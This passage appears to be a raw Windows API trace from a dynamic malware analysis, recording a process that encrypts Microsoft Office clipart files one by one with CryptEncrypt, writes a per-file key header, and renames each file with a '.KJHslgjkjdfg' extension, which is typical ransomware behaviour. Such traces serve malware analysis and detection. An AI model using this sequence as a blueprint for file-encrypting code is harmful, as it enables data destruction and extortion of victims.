(in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0198.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.277] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.277] GetProcessHeap () returned 0x2ef0000 [0198.277] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.277] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.277] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.277] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.277] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.277] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.277] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.277] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x45be, lpOverlapped=0x0) returned 1 [0198.279] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45c0) returned 1 [0198.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.279] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x45c0, lpOverlapped=0x0) returned 1 [0198.279] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.279] SetEndOfFile (hFile=0x130) returned 1 [0198.281] GetProcessHeap () returned 0x2ef0000 [0198.282] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.282] GetProcessHeap () returned 0x2ef0000 [0198.282] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.kjhslgjkjdfg")) returned 1 [0198.283] CloseHandle (hObject=0x130) returned 1 [0198.283] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0198.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.284] GetProcessHeap () returned 0x2ef0000 [0198.284] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.284] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.284] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.286] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.286] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.286] GetProcessHeap () returned 0x2ef0000 [0198.286] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.286] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.286] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.287] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.287] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.287] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x133f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x133f8, lpOverlapped=0x0) returned 1 [0198.288] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13400, dwBufLen=0x13400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13400) returned 1 [0198.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.289] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13400, lpOverlapped=0x0) returned 1 [0198.289] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x134d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.289] SetEndOfFile (hFile=0x130) returned 1 [0198.292] GetProcessHeap () returned 0x2ef0000 [0198.292] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.292] GetProcessHeap () returned 0x2ef0000 [0198.292] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.kjhslgjkjdfg")) returned 1 [0198.293] CloseHandle (hObject=0x130) returned 1 [0198.293] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0198.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.294] GetProcessHeap () returned 0x2ef0000 [0198.294] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.294] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.296] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.296] GetProcessHeap () returned 0x2ef0000 [0198.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.296] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.296] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.296] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.296] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.296] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.296] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.296] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.296] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.297] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.298] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.298] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.298] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.298] SetEndOfFile (hFile=0x130) returned 1 [0198.301] GetProcessHeap () returned 0x2ef0000 [0198.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.301] GetProcessHeap () returned 0x2ef0000 [0198.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.kjhslgjkjdfg")) returned 1 [0198.303] CloseHandle (hObject=0x130) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0198.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.304] GetProcessHeap () returned 0x2ef0000 [0198.304] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.304] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.304] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.306] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.306] GetProcessHeap () returned 0x2ef0000 [0198.306] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.306] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.306] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.306] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.306] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.306] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.306] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.307] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.307] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.307] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.307] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.308] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.308] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.309] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.309] SetEndOfFile (hFile=0x130) returned 1 [0198.311] GetProcessHeap () returned 0x2ef0000 [0198.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.311] GetProcessHeap () returned 0x2ef0000 [0198.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.kjhslgjkjdfg")) returned 1 [0198.312] CloseHandle (hObject=0x130) returned 1 [0198.312] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0198.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.313] GetProcessHeap () returned 0x2ef0000 [0198.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.313] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.313] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.313] GetProcessHeap () returned 0x2ef0000 [0198.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.313] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.315] WriteFile 